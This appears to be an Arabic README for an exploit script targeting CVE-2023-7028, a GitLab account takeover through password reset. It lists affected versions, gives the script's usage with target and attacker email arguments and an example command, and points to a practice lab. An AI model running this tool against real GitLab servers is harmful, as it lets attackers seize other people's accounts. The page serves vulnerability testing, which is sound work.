CVE-2023-7028

⚠️ هذا الاستغلال لأغراض دفاعية ويجب استخدامه من قبل متخصصي الأمن السيبراني لتحديد خوادم GitLab المعرضة للخطر.

الوصف

CVE-2023-7028 - استيلاء على الحساب عبر إعادة تعيين كلمة المرور دون تفاعل المستخدم في GitLab Community Edition و Enterprise Edition

gitlablogo

المنتجات والإصدارات المتأثرة:

المنتج	الإصدارات المتأثرة
GitLab Community Edition and Enterprise Edition	< 16.1.6 < 16.2.9 < 16.3.7 < 16.4.5 < 16.5.6 < 16.6.4 < 16.7.2

CVSS: 10.0
الاستغلال النشط: نعم
التصحيح: نعم
التخفيف: لا

المساعدة

usage: CVE-2023-7028.py [-h] -u URL -t TARGET -a ATTACKER

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     GitLab URL (HTTP or HTTPS)
  -t TARGET, --target TARGET
                        Target email address
  -a ATTACKER, --attacker ATTACKER
                        Attacker email address

مثال: python CVE-2023-7028.py -u https://gitlab.example.com -t [email protected] -a [email protected]

المختبر

يمكنك استخدام غرفة Try Hack Me GitLab CVE-2023-7028 لاختبار الاستغلال لأنها تشغّل إصدارًا معرضًا للخطر متأثرًا بـ CVE-2023-7028.

نظرة على خوادم GitLab من SHADOWSERVER:

map2

CVE-2023-7028

الأكثر شعبية

CVE-2023-7028

الوصف

CVE-2023-7028 - استيلاء على الحساب عبر إعادة تعيين كلمة المرور دون تفاعل المستخدم في GitLab Community Edition و Enterprise Edition

المساعدة

المختبر

نظرة على خوادم GitLab من SHADOWSERVER:

المراجع